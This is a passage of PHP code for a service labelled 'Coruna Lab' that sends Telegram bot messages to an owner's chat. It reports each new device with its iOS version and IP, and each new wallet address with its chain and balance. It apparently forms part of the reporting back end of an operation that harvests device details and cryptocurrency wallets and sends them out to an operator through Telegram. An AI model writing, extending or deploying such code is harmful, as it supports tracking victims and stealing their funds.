enabled()) { return false; } $token = config('coruna.telegram.bot_token'); $chatId = config('coruna.telegram.owner_chat_id'); try { $resp = Http::timeout(15)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", [ 'chat_id' => $chatId, 'text' => $text, 'disable_web_page_preview' => true, ] ); return $resp->successful(); } catch (\Throwable $e) { Log::warning('telegram send failed: '.$e->getMessage()); return false; } } public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ '[Coruna Lab] New device', 'id: '.$deviceId, 'ios: '.($ios ?: '—'), 'ip: '.($ip ?: '—'), ])); } public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void { $this->send(implode("\n", [ '[Coruna Lab] New wallet address', 'device: '.$deviceId, 'chain: '.($chain ?: '—'), 'address: '.$address, 'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')), ])); } }